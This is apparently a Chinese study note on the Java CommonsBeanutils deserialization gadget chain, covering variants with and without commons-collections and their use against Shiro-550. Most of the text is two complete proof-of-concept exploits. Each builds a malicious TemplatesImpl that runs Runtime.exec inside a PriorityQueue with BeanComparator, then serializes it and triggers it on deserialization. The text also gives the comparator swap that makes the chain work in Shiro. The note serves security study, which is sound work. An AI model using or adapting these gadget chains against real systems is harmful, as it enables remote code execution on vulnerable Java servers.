区别 CC2
CC2 中调用TransformingComparator.comparator后最终会调用到compare()
CB 中变成了调用BeanComparator.compare(),这里也是主要的触发位置
CB with CC (CC3.2.1 & CB 1.8.3)
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
前置知识
ComminsBeanUtils 介绍
CommonsBeanUtils 是一个 javabean 工具类,用于操作 JavaBean 对象。
利用点
CommonsBeanUtils提供了一个静态的方法PropertyUtils.getProperty(),这个方法可以直接调用任意 JavaBean 的 getter()
例:
1 2 3 4 5
| Person person = new Person("aaa"); PropertyUtils.getProperty(person, "name");
Person person = new Person("aaa"); person.getName();
|
这个方法还支持递归调用
如果 a 对象有属性 b,b 对象有属性 c,那我们可以直接用PropertyUtils.getProperty(a, "b.c")递归获取
分析(withCC)
CB链的入口和 CC2 一样都是通过PriorityQueue.readObject()来触发反序列化
CB 链中后面变成了调用BeanComparator.compare()

该方法内部会调用前面提到的getProperty()
这里 o1 如果传一个 TemplatesImpl 的对象,this.property 为outputProperties,即可调用TemplatesImpl.getOutputProperties()

这里又会调用newTransformer(),和 CC2 的后面都一样了
构造
在前面 CC4 的时候提到过 PriorityQueue 的 size 需要 >=2,而执行 add 时也会调用 compare()
在BeanConparator.compare()中,如果this.property为空,则直接比较两个对象

后面再通过反射将property设置为outputProperties,并将刚刚 add 进队列的1,2替换为恶意的 TemplatesImpl 对象
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package org.assass1n.cblearn;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CBWithCC {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsBeanuntilsWithCCCC"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name", "aaa"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes", new byte[][]{bytes});
BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator); priorityQueue.add(1); priorityQueue.add(2);
setFieldValue(beanComparator,"property","outputProperties"); setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
serialize(priorityQueue); unserialize("ser2.bin"); }
public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser2.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return null; } }
|
上面这条链如果没加载CC依赖会报错没找到org.apache.commons.collections.comparators.ComparableComparator类
打shiro550时也会因为上面这个原因报错,而在 shiro 中,他的 commons-beanutils只包含一部分commons-collections(不全),所以还有一条不依赖于CC的CB链
CB without CC(CB1.8.3 & CB1.9.2)
需导入CB1.9.2依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency>
|
构造
思路就是先找一下这个报错的具体位置在哪儿
可以看到在BeanComparator构造函数的地方没有找到该类

所以考虑找个类替换他,需满足:
- 实现
Comparator 接口
- 可以序列化
- java shiro CB 中自带
找到类:

常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator
1 2 3
| setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package org.assass1n.cblearn;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.util.Collections; import java.util.PriorityQueue;
public class CBWithoutCC {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsBeanuntilsWithCCCC"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name", "aaa"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes", new byte[][]{bytes});
BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator); priorityQueue.add(1); priorityQueue.add(2);
setFieldValue(beanComparator,"property","outputProperties"); setFieldValue(priorityQueue,"queue",new Object[]{templates,templates}); setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
serialize(priorityQueue); unserialize("CBWithoutCC.bin"); }
public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CBWithoutCC.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return null; } }
|